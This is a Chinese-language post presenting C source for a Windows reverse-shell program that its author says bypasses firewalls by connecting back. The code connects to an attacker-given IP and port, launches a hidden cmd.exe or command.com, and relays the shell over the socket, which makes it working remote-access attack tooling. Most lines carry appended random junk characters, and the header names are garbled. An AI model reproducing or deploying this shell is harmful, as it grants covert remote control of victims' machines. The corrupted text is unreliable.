这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B4eV $~<
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/* ============================== Vtv1{/@+c
Rebound port in Windows NT 3XIL; 5
By wind,2006/7 9R99,um$
===============================*/ .\7AJB\l
#include ke19(r Ch
#include cuh Z_l
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#pragma comment(lib,"wsock32.lib") ttY[\D&ZS
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void OutputShell(); 8 Y))/]R
SOCKET sClient; 3oMa
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /Q2HN(Y
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void main(int argc,char **argv) F./P,hhN9
{ "h:#'y$V
WSADATA stWsaData; hu5o{8[
int nRet; ~_|CXPiQ8
SOCKADDR_IN stSaiClient,stSaiServer; `k-|G2
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if(argc != 3) rih@(;)1
{ [sl"\3)
printf("Useage:\n\rRebound DestIP DestPort\n"); XblZlWP#
return; Xb.#
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} tja7y"(]
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WSAStartup(MAKEWORD(2,2),&stWsaData); k1fX-2H
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1"No~/_
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stSaiClient.sin_family = AF_INET; #]J"j]L
stSaiClient.sin_port = htons(0); 87rHW@\](
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z}-8pDD'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IZ@M
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printf("Bind Socket Failed!\n"); /\U:F
return; }tbZ[:T{K
} PoZxT-U
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stSaiServer.sin_family = AF_INET; $1n\jN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \R,8xID_t
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WQv`%%G2>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Muok">#3.
{ [fg-"-+:M
printf("Connect Error!"); T^S$|d
return; -*;JUSGh
} 5}:`CC2,S~
OutputShell(); Qb@i_SX(fs
} ^4=%~Yx
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void OutputShell() <%m$
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{ ZL'krV
char szBuff[1024]; Rw|P$dbu
SECURITY_ATTRIBUTES stSecurityAttributes; +0M0g_sk
OSVERSIONINFO stOsversionInfo; S6{u(=H
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h"dn:5G:=
STARTUPINFO stStartupInfo; Na<);Pg
char *szShell; Mh=j^ [4Q
PROCESS_INFORMATION stProcessInformation; w\ddC DZ
unsigned long lBytesRead; R/kF,}^F
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gaR~K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v_,'NA0
stSecurityAttributes.lpSecurityDescriptor = 0; ._6e#=
stSecurityAttributes.bInheritHandle = TRUE; 7%5EBH &
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U4h5K}j4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %(>,eee_
z)%]#QO
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pQk@
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {GG;/Ns{f-
stStartupInfo.wShowWindow = SW_HIDE; ]\*_}
stStartupInfo.hStdInput = hReadPipe; SzyaVBD3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0lS=-am
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GetVersionEx(&stOsversionInfo); {tUxRX
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switch(stOsversionInfo.dwPlatformId) rVB\\
{ N;*
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case 1: y0,>_MS
szShell = "command.com"; KdC'#$
break; mJ+mTA5bW
default: =}2k+v-B
szShell = "cmd.exe"; {11xjvAD
break; mj&$+z M>
} =a(]@8$!1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w/@ tH
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send(sClient,szMsg,77,0); KB8_yo{y
while(1) yo
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{ F-GH?sfvi
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [m(n-MuF
if(lBytesRead) (PSL[P
{ B4x@{rtER
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Wx|De7*
send(sClient,szBuff,lBytesRead,0); uVa`2]NV r
} YFeL#)5y
else ))E| SAr
{ 63c\1]YB.
lBytesRead=recv(sClient,szBuff,1024,0); S%3&Y3S
if(lBytesRead<=0) break; fiW2m=h_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6/&|)gW',
} )jm!^m
} z~#d@c\
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return; C%AN4Mo
}